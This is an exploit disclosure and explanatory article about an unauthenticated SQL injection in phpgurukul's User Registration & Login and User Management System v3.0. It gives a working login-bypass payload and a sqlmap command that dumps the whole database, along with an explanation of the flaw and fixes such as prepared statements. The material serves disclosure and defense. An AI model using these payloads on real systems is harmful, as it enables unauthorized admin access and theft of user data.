User Registration & Login and User Management System v3.0 - SQL Injection (Unauthenticated)

Exploit Author: Ashutosh Singh Umath Analysis Author: www.bubbleslearn.ir Category: WebApps Language: SQL Published Date: 2023-08-24
# Exploit Title: User Registration & Login and User Management System v3.0 - SQL Injection (Unauthenticated)
# Google Dork: NA
# Date: 19/08/2023
# Exploit Author: Ashutosh Singh Umath
# Vendor Homepage: https://phpgurukul.com
# Software Link:
https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Version: 3.0
# Tested on: Windows 11
# CVE : Requested


Proof Of Concept:

1. Navigate to the admin login page.

URL: http://192.168.1.5/loginsystem/admin/

2. Enter "*admin' -- -*" in the admin username field and anything
random in the password field.

3. Now you successfully logged in as admin.

4. To download all the data from the database, use the below commands.

  4.1. Login to the admin portal and capture the request.

  4.2. Copy the intercepted request in a file.

  4.3. Now use the below command to dump all the data


Command:  sqlmap -r <file-name> -p username -D loginsystem --dump-all



Thanks and Regards,

Ashutosh Singh Umath


SQL Injection in User Registration & Login and User Management System v3.0: A Critical Security Vulnerability

Security vulnerabilities in web applications remain a persistent threat, especially in systems handling sensitive user data. One such critical flaw was recently discovered in the User Registration & Login and User Management System v3.0, developed by phpgurukul.com. This system, marketed as a comprehensive solution for managing user accounts and authentication, contains a severe SQL Injection vulnerability that can be exploited without authentication, allowing attackers to gain full administrative access.

Overview of the Vulnerability

SQL Injection (SQLi) is a common web security flaw where malicious input is injected into database queries, enabling unauthorized access, data extraction, or even complete database manipulation. In this case, the vulnerability lies in the admin login page — specifically in the username field — which is not properly sanitized or validated.

According to the exploit report by Ashutosh Singh Umath, the system fails to escape or validate user input, allowing attackers to bypass authentication using crafted SQL payloads.

Proof of Concept: Exploiting the Unauthenticated SQL Injection

The following steps demonstrate how an attacker can exploit the vulnerability:

  • Step 1: Navigate to the admin login page: http://192.168.1.5/loginsystem/admin/
  • Step 2: Input the malicious username: *admin' -- -*
  • Step 3: Enter any random password (e.g., password123)
  • Step 4: Submit the form — the system successfully logs the attacker in as admin without valid credentials.

This behavior indicates that the underlying SQL query is constructed unsafely. The payload ' -- -* is designed to terminate the SQL query and comment out the rest of the statement, effectively bypassing authentication logic.

Understanding the SQL Injection Payload


username: admin' -- -
password: any_random_value

When this input is processed, the system likely constructs a query like:


SELECT * FROM users WHERE username = 'admin' -- -' AND password = 'any_random_value'

The -- - sequence acts as a comment in SQL, rendering the rest of the query irrelevant. The condition becomes:


username = 'admin' -- -'

Since the comment starts with --, the query effectively checks only whether the username is admin, regardless of the password. If a user with the username admin exists in the database, the login succeeds — even without a correct password.

Exploitation with sqlmap: Automated Data Extraction

Once authenticated, attackers can leverage tools like sqlmap to extract all database contents. The exploit author demonstrates a powerful technique using intercepted HTTP requests.


sqlmap -r login_request.txt -p username -D loginsystem --dump-all

This command does the following:

  • -r login_request.txt: Specifies the file containing the intercepted HTTP request.
  • -p username: Indicates that the username field is the injection point.
  • -D loginsystem: Targets the specific database named loginsystem.
  • --dump-all: Extracts all data from every table in the database.

Using this method, an attacker can retrieve sensitive data such as:

  • Usernames and hashed passwords
  • Email addresses
  • Role assignments (e.g., admin, user)
  • Session tokens or API keys

Why This is a Critical Risk

SQL Injection in an unauthenticated login system is particularly dangerous because:

  • Zero authentication required: Attackers can bypass login gates without any credentials.
  • Full admin access: Once logged in, attackers can perform actions like modifying user roles, deleting records, or altering system configurations.
  • Database exposure: The ability to dump all data leads to potential data breaches, identity theft, or ransomware attacks.
  • Reusability: The same payload can be used across multiple installations of the same software.

Recommendations for Developers and Users

For developers using this or similar systems, the following best practices are essential:

  • Use Prepared Statements: Always use parameterized queries instead of concatenating user input directly into SQL.
  • Input Sanitization: Validate and escape all user inputs before processing.
  • Role-Based Access Control: Ensure that even authenticated users cannot access sensitive data without proper authorization.
  • Regular Security Audits: Perform penetration testing and vulnerability scanning on all web applications.

For users or administrators deploying this software:

  • Immediate Patching: Update to a secure version or apply patches if available.
  • Disable Public Access: Restrict admin login pages to trusted IP ranges or use multi-factor authentication.
  • Monitor Logs: Check for unusual login attempts or SQL injection patterns.

Conclusion

The User Registration & Login and User Management System v3.0 exemplifies how a seemingly simple flaw — improper input handling — can lead to catastrophic consequences. This vulnerability underscores the importance of secure coding practices, especially in authentication systems. Developers must never assume user input is safe; every input must be validated and sanitized.

As cyber threats evolve, systems like this must be reviewed, updated, and hardened against known attack vectors. Without proper safeguards, even open-source tools can become entry points for attackers — with devastating impact.